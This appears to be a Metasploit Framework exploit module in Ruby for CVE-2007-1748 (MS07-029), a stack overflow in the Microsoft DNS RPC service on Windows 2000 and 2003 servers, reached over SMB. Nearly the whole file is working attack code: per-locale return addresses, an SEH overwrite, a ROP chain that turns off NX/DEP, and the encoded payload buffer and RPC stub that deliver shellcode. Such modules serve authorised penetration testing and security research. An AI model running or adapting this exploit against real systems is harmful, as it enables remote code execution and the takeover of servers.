271 lines
8.4 KiB
Ruby
271 lines
8.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
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'Description' => %q{
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This module exploits a stack buffer overflow in the RPC interface
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of the Microsoft DNS service. The vulnerability is triggered
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when a long zone name parameter is supplied that contains
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escaped octal strings. This module is capable of bypassing NX/DEP
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protection on Windows 2003 SP1/SP2. This module exploits the
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RPC service using the \\DNSSERVER pipe available via SMB. This
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pipe requires a valid user account to access, so the SMBUSER
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and SMBPASS options must be specified.
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},
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'Author' =>
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[
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'hdm', # initial module
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'Unknown' # 2 unknown contributors (2003 support)
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2007-1748'],
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['OSVDB', '34100'],
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['MSB', 'MS07-029'],
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['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Payload' =>
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{
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'Space' => 500,
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# The payload doesn't matter, but make_nops() uses these too
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],
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# WS2HELP.DLL
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[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
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[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
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[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
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# Use the __except_handler3 method (and jmp esp in ATL.dll)
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[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
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[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],
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# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
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[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
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[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
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[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
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[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
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[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
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],
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'DisclosureDate' => 'Apr 12 2007',
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'DefaultTarget' => 0 ))
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register_options(
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[
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OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])
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], self.class)
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end
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def gettarget(os)
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targets.each do |target|
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if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
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return target
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end
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end
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return nil
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end
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def exploit
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connect()
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smb_login()
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if target.name =~ /Automatic/
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case smb_peer_os()
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when 'Windows NT 4.0'
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print_status("Detected a Windows NT 4.0 system...")
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target = nil
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when 'Windows 5.0'
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print_status("Detected a Windows 2000 SP0-SP4 target...")
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target = gettarget('2000')
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when 'Windows 5.1'
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print_status("Detected a Windows XP system...")
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target = nil
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when /Windows Server 2003 (\d+)$/
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print_status("Detected a Windows 2003 SP0 target...")
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target = gettarget('2003SP0')
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when /Windows Server 2003 (\d+) Service Pack (\d+)/
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print_status("Detected a Windows 2003 SP#{$2} target...")
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target = gettarget('2003SP12')
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else
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print_status("Unknown OS: #{smb_peer_os}")
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return
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end
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end
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if (not target)
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print_status("There is no available target for this OS locale")
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return
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end
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print_status("Trying target #{target.name}...")
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# Bind to the service
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handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_np', ['\dnsserver'])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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# Create our buffer with our shellcode first
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txt = Rex::Text.rand_text_alphanumeric(8192)
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if (target['OS'] =~ /2000/)
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txt[0, payload.encoded.length] = payload.encoded
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off = target['Off']
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txt[ off ] = [target.ret].pack('V')
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txt[ off - 4, 2] = "\xeb\x06"
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txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
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elsif (target['OS'] =~ /2003SP0/)
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txt[0, payload.encoded.length] = payload.encoded
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off = target['Off']
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txt[ off ] = [target['Rets'][0]].pack('V') # __except_handler3
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txt[ off - 4, 2] = "\xeb\x16"
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# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)
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addr = target['Rets'][1] - 4
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addr1 = addr / 2
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addr2 = addr1 + addr % 2
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addr1 = addr1 + (addr2 % 12)
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addr2 = addr2 / 12
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txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B
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#
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# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
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#
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# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0
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# 0x77f443d0 mov eax, [ebp+arg_0]
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# 0x77f443d3 pop esi
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# 0x77f443d4 pop edi
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# 0x77f443d5 leave ; mov esp, ebp
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# 0x77f443d6 retn ; ret
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txt[ off + 16, 4] = [target['Rets'][2]].pack('V') # jmp esp
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txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')
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elsif (target['OS'] =~ /2003SP12/)
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off = target['Off']
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ib = target['IB']
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txt[ off ] = [ib + 0x2566].pack('V')
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# to bypass NX we need to emulate the call to ZwSetInformationProcess
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# with generic value (to work on SP1-SP2 + patches)
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off = 445
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# first we set esi to 0xed by getting the value on the stack
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#
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# 0x76a81da7:
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# pop esi <- esi = edh
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# retn
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txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
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txt[ off + 28, 4] = [0xed].pack('V')
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# now we set ecx to 0x7ffe0300, eax to 0xed
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# 0x76a81da4:
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# pop ecx <- ecx = 0x7ffe0300
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# mov eax, esi <- eax == edh
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# pop esi
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# retn
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txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
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txt[ off + 36, 4] = [0x7ffe0300].pack('V')
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# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
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# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
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# 0x76a8109c:
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# call dword ptr [ecx]
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txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]
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txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
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# we catch the second exception to go back to our shellcode, now that
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# NX is disabled
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off = 1013
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txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)
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txt[ off + 24, payload.encoded.length ] = payload.encoded
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end
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req = ''
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# Convert the string to escaped octal
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txt.unpack('C*').each do |c|
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req << "\\"
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req << c.to_s(8)
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end
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# Build the RPC stub data
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stubdata =
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NDR.long(rand(0xffffffff)) +
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NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
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NDR.long(rand(0xffffffff)) +
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NDR.string(req + "\x00") +
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NDR.long(rand(0xffffffff)) +
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NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
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print_status('Sending exploit...')
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begin
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response = dcerpc.call(1, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
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end
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rescue ::Exception => e
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print_error("Error: #{e}")
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end
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handler
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disconnect
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end
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end
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